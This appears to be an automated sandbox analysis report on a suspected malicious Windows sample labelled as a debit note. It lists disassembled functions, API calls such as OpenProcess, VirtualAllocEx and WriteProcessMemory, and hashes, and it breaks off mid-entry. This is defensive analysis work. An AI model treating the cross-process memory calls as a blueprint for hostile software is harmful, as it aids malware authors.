                                          Function 00434582 Relevance: 7.6, APIs: 5, Instructions: 61sleepCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Sleep.KERNEL32(00000000), ref: 00434598
                                          • QueryPerformanceCounter.KERNEL32(?), ref: 004345B5
                                          • Sleep.KERNEL32(00000000), ref: 004345D4
                                          • QueryPerformanceCounter.KERNEL32(?), ref: 004345DE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CounterPerformanceQuerySleep
                                          • String ID:
                                          • API String ID: 2875609808-0
                                          • Opcode ID: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
                                          • Instruction ID: a92d15520113c221d818f77e193bed66bb4dcccdbbd961c90b57f37ba003579f
                                          • Opcode Fuzzy Hash: e7bcee6603ab5961272028a34fb999977f673cbbb9fa03059816f244ade9b228
                                          • Instruction Fuzzy Hash: 37118232D0011DA7CF00EF99DD49AEEBB78FF99721F00456AEE4473240DA3465618BE9
                                          Function 00460C01 Relevance: 7.5, APIs: 5, Instructions: 48windowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDlgItem.USER32(?,000003E9), ref: 00460C17
                                          • GetWindowTextW.USER32(00000000,?,00000100), ref: 00460C2E
                                          • MessageBeep.USER32(00000000), ref: 00460C46
                                          • KillTimer.USER32(?,0000040A), ref: 00460C68
                                          • EndDialog.USER32(?,00000001), ref: 00460C83
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: BeepDialogItemKillMessageTextTimerWindow
                                          • String ID:
                                          • API String ID: 3741023627-0
                                          • Opcode ID: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
                                          • Instruction ID: 069ac2582a8c3c153a507cef710a9e07e91c6f457c78871e3a9641c65eda6ae6
                                          • Opcode Fuzzy Hash: 1f18e2cfcdf944224a2d79a82bd846e8569cbd7b4094970ae8d1428a0e6a4617
                                          • Instruction Fuzzy Hash: AB01DD315403086BE7349B54EE8DBDB737CFB14705F00465FB645921C0E7F4A9948B95
                                          Function 004556A0 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteObjectWindow$Icon
                                          • String ID:
                                          • API String ID: 4023252218-0
                                          • Opcode ID: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
                                          • Instruction ID: b4c4dbb9b59ba1bd7f08d964dfa6937d7ad9fb038e30cf105cf785d591c64ca0
                                          • Opcode Fuzzy Hash: 3835efce57e2eefc6c6d584a426a71e2dd3a2f260109f85cc330253665e7d223
                                          • Instruction Fuzzy Hash: D5014870301A01DBDB10EF65E9D8A2B77A8BF48762F10462AFD04D7352D739D849CBA9
                                          Function 004555ED Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageW.USER32(?,00001101,00000000,?), ref: 004555FC
                                          • DeleteObject.GDI32(?), ref: 00455736
                                          • DeleteObject.GDI32(?), ref: 00455744
                                          • DestroyIcon.USER32(?), ref: 00455752
                                          • DestroyWindow.USER32(?), ref: 00455760
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DeleteDestroyObject$IconMessageSendWindow
                                          • String ID:
                                          • API String ID: 1489400265-0
                                          • Opcode ID: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
                                          • Instruction ID: 3262712e9a8127eed33bb9eb3d9864066e7dde5d47db0d590f2b6463dd6d37f9
                                          • Opcode Fuzzy Hash: 7dd20da83386a23a1814408c1199d2c33e99a8c26f67204b6fd348d50f61361a
                                          • Instruction Fuzzy Hash: 07017C74300601DBCB10EF25EEC8A2A73A8BF48712F004569FE019B286D778DC49CB68
                                          Function 00455607 Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00430003: InvalidateRect.USER32(?,00000000,00000001), ref: 00430091
                                          • DestroyWindow.USER32(?), ref: 00455728
                                          • DeleteObject.GDI32(?), ref: 00455736
                                          • DeleteObject.GDI32(?), ref: 00455744
                                          • DestroyIcon.USER32(?), ref: 00455752
                                          • DestroyWindow.USER32(?), ref: 00455760
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                          • String ID:
                                          • API String ID: 1042038666-0
                                          • Opcode ID: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
                                          • Instruction ID: 2016740d4609c4bbd0e5f1cf6dc7522ca00853e433b5032f7809eda0dc31aff9
                                          • Opcode Fuzzy Hash: 9df849479103f2de49514c9ec76f9cef1897402069f9b01ba3cc14c1fa4130bc
                                          • Instruction Fuzzy Hash: 3701F670200601DBCB10EF69E9D8A2B37ACAF49762B00466AFD01D7256D769DC498B69
                                          Function 0042FD29 Relevance: 7.5, APIs: 5, Instructions: 36COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Path$ObjectStroke$DeleteFillSelect
                                          • String ID:
                                          • API String ID: 2625713937-0
                                          • Opcode ID: d1b587dd721dc2c7258c81d6469637db7768a45f5ba7f0175e0776e0e6e6c26f
                                          • Instruction ID: 382768f54733291aaafbd4c53fc5fd67df7ff3e11fccf1fbf51b229105ba29ed
                                          • Opcode Fuzzy Hash: d1b587dd721dc2c7258c81d6469637db7768a45f5ba7f0175e0776e0e6e6c26f
                                          • Instruction Fuzzy Hash: B3F036751125109BD3519F28FD4875E3B68E747321F94423AEA15923F0CB785449CB6D
                                          Function 00417803 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • __getptd.LIBCMT ref: 0041780F
                                            • Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
                                            • Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79
                                          • __getptd.LIBCMT ref: 00417826
                                          • __amsg_exit.LIBCMT ref: 00417834
                                          • __lock.LIBCMT ref: 00417844
                                          • __updatetlocinfoEx_nolock.LIBCMT ref: 00417858
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
                                          • String ID:
                                          • API String ID: 938513278-0
                                          • Opcode ID: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
                                          • Instruction ID: 276dd8d19a6a3be70f37c916a71154ef36d62806621923b96dbf7b6e4fe89171
                                          • Opcode Fuzzy Hash: 82c9f3bbc84dc287df7640515fd49376d4ae64643407e313ceafc36016311655
                                          • Instruction Fuzzy Hash: 6DF09632A4C7009AD721BBA6940B7DD33B0AF10768F11415FF541572D2CB6C59C1CB9D
                                          Function 00413D0E Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004118F0: _doexit.LIBCMT ref: 004118FC
                                          • ___set_flsgetvalue.LIBCMT ref: 00413D20
                                            • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                            • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                                          • ___fls_getvalue@4.LIBCMT ref: 00413D2B
                                            • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                                          • ___fls_setvalue@8.LIBCMT ref: 00413D3E
                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 00413D47
                                          • ExitThread.KERNEL32 ref: 00413D4E
                                          • GetCurrentThreadId.KERNEL32 ref: 00413D54
                                          • __freefls@4.LIBCMT ref: 00413D74
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Value$Thread$CurrentErrorExitLast___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                          • String ID:
                                          • API String ID: 2403457894-0
                                          • Opcode ID: 20cce849b0c51a5c00e20c35783146c720bf18a6b0a2527f17bda4bbe7e89b53
                                          • Instruction ID: 99982f4671f9afe760f134679f3a1374bf557b67af872bc9692f731b59fefeca
                                          • Opcode Fuzzy Hash: 20cce849b0c51a5c00e20c35783146c720bf18a6b0a2527f17bda4bbe7e89b53
                                          • Instruction Fuzzy Hash: 1AE04F318443056B8F013BB39C1E8CF363C9E0434AB20082ABE1493112DA2C99C1C6BE
                                          Function 004151AF Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004118F0: _doexit.LIBCMT ref: 004118FC
                                          • ___set_flsgetvalue.LIBCMT ref: 004151C0
                                            • Part of subcall function 004178AE: TlsGetValue.KERNEL32(?,00417A07,?,004115F6,?,00401BAC,?,?,?), ref: 004178B7
                                            • Part of subcall function 004178AE: TlsSetValue.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 004178D8
                                          • ___fls_getvalue@4.LIBCMT ref: 004151CB
                                            • Part of subcall function 0041788E: TlsGetValue.KERNEL32(?,?,00413D30,00000000), ref: 0041789C
                                          • ___fls_setvalue@8.LIBCMT ref: 004151DD
                                          • GetLastError.KERNEL32(00000000,?,00000000), ref: 004151E6
                                          • ExitThread.KERNEL32 ref: 004151ED
                                          • __freefls@4.LIBCMT ref: 00415209
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Value$ErrorExitLastThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                          • String ID:
                                          • API String ID: 4247068974-0
                                          • Opcode ID: 3508d61e785490a8cfc18c63a66594c600054726567160c295e9e14b5a274e31
                                          • Instruction ID: 3b3fb4cf1982b2ada2e5851f983e2cc6228237abb2dca353483d11accd99f00a
                                          • Opcode Fuzzy Hash: 3508d61e785490a8cfc18c63a66594c600054726567160c295e9e14b5a274e31
                                          • Instruction Fuzzy Hash: E5E0B631848705AECB013BB29D1E9DF3A799E54749B20082ABE1492122EE6C88D1C669
                                          Function 004624C5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 409COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: 5$8$^
                                          • API String ID: 0-3622883839
                                          • Opcode ID: 5b0bf54134f80cff9ca6ce4a8dff4b23300e7e002ba4f74be1d0103a91d53083
                                          • Instruction ID: 6ee989b57c56cc683e8081b45a60e8d88641feefa2b309a8211b066407c3f2e5
                                          • Opcode Fuzzy Hash: 5b0bf54134f80cff9ca6ce4a8dff4b23300e7e002ba4f74be1d0103a91d53083
                                          • Instruction Fuzzy Hash: 82F1B4B1D00649AACB24CFA9C940AEEFBF4EF84300F14856FE455E7351E3B89A45CB56
                                          Function 0044F405 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 302COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: )$U$\
                                          • API String ID: 0-3705770531
                                          • Opcode ID: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
                                          • Instruction ID: d0f1885598f34d5f764b4f2a5794ec4e3d7857f6dac93f6e146ba8491093b400
                                          • Opcode Fuzzy Hash: 028001eb2bff774db3903015b7fa80ce6d69291786b8857f67b928b721b55690
                                          • Instruction Fuzzy Hash: 83C1C074A00249CFEB24CF69C5806AEBBF2FF85304F2481ABD8569B351D739994ACF15
                                          Function 0046E48D Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9
                                          • CoInitialize.OLE32(00000000), ref: 0046E505
                                          • CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0046E51E
                                          • CoUninitialize.OLE32 ref: 0046E53D
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CreateInitializeInstanceUninitialize_wcslen
                                          • String ID: .lnk
                                          • API String ID: 886957087-24824748
                                          • Opcode ID: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
                                          • Instruction ID: 2644725dabb75134900838bfbf7f9974cf5b6b8c274c659ea1b0544ab4b4cf98
                                          • Opcode Fuzzy Hash: 275befd32e5b5cb51e2fc879a9ecc6bbb724afd33f596a1e549e31a6ffdfd8c7
                                          • Instruction Fuzzy Hash: A6A1CB756042019FC700EF65C980E5BB7E9AFC8308F108A5EF9859B392DB35EC45CBA6
                                          Function 0046A6E1 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 241COMMON
                                          Download Yara Rule
                                          Strings
                                          • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0046A75B
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmovestd::exception::exception$Exception@8Throw_malloc_wcslen
                                          • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                          • API String ID: 708495834-557222456
                                          • Opcode ID: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
                                          • Instruction ID: 9c514e09f8cb76db8ae150367893d7536957bb5c5403f45e3580b17af89e858a
                                          • Opcode Fuzzy Hash: 0835c6591df01f69715f5e8aca6b92cd03353c77de4b2b2244ddd74c7a14709d
                                          • Instruction Fuzzy Hash: 7C917F711087009FC310EF65C88186BB7E8AF89314F148D2FF595672A2E778E919CB9B
                                          Function 0043659E Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 162windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00434319: WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043434A
                                          • SendMessageW.USER32(?,00001104,00000000,00000000), ref: 004365EF
                                            • Part of subcall function 004342DD: ReadProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0043430E
                                            • Part of subcall function 004343AD: GetWindowThreadProcessId.USER32(?,?), ref: 004343E0
                                            • Part of subcall function 004343AD: OpenProcess.KERNEL32(00000438,00000000,?), ref: 004343F1
                                            • Part of subcall function 004343AD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004), ref: 00434408
                                          • SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0043665F
                                          • SendMessageW.USER32(00000000,00001111,00000000,00000000), ref: 004366DF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
                                          • String ID: @
                                          • API String ID: 4150878124-2766056989
                                          • Opcode ID: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
                                          • Instruction ID: 60a9f40d71a87185ad744a771aacdfc79ad0a16393efc777ae91d2f205fac39b
                                          • Opcode Fuzzy Hash: 6104cbe5d4ae3c4c99a3306f76968d572a7f9f5d55716afa725ed0ba86ca2a2d
                                          • Instruction Fuzzy Hash: 0D51B972A00218ABCB10DFA5DD42FDEB778EFC9304F00459AFA05EB180D6B4BA45CB65
                                          Function 0044F137 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 161COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
